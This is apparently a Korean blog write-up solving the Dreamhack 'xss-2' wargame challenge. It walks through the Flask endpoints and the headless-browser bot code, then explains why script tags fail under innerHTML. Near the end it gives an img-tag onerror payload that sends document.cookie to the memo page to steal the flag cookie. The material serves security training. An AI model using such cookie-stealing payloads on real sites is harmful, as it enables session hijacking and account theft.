| /vuln | 사용자가 입력한 값을 출력한다 |
| /memo | 사용자가 memo에 입력한 값을 출력한다. |
| /flag | 사용자가 param에 입력한 Url로 이동한다. |
엔드포인트 분석
/vuln
@app.route("/vuln")
def vuln():
return render_template("vuln.html")
xss-1과는 다르게 /vuln 페이지에서는 render_template 함수를 사용하여 vuln.html을 띄워준다. render_template 함수는 전달된 템플릿 변수를 HTML 엔티티로 변환하여 전달하기 때문에 xss가 발생하지 않는다.
/memo
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
사용자가 memo에 입력한 값을 text 변수에 저장한다. 그 후에 memo_text 변수에 사용자가 입력한 값이 저장된 변수인 text를 다시 저장해주고, render_template 함수를 통해 memo.html을 반환해준다. 그리고 memo라는 변수에 사용자가 입력한 값을 기록한다.
/flag
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
GET 방식으로 flag.html을 반환한다. 그리고 POST 방식으로 param이라는 변수에 사용자가 입력한 값을 저장하고, check_xss 함수의 파라미터를 name:flag, value는 flag 값으로 전달해준다.
check_xss의 경우 전달받은 파라미터를 url로 전달해주고 해당 url을 read_url 함수를 통해 읽는다.
취약점 분석
vlun 페이지에서 innerHTML을 사용하고 있기 때문에 script 태그를 사용하여 xss를 발생시키지 못한다. 따라서 해당 문제를 풀기 위해선 다른 xss 공격 벡터를 사용해야한다.
<img src="XSS-2" onerror="location.href='/memo?memo='+document.cookie">
script태그가 아닌 img src 태그를 사용하여 memo에 임의의 cookie를 작성하도록 한다.

'CTF & Wargame(WEB)' 카테고리의 다른 글
| [dreamhack] level 1 simple_sqli (0) | 2025.04.13 |
|---|---|
| [dreamhack] level 1 csrf-2 (0) | 2025.04.13 |
| [dreamhack] level 1 csrf-1 (0) | 2025.04.13 |
| [dreamhack] level 1 xss-1 (0) | 2025.04.12 |
| 웹해킹 블로그 (0) | 2025.04.03 |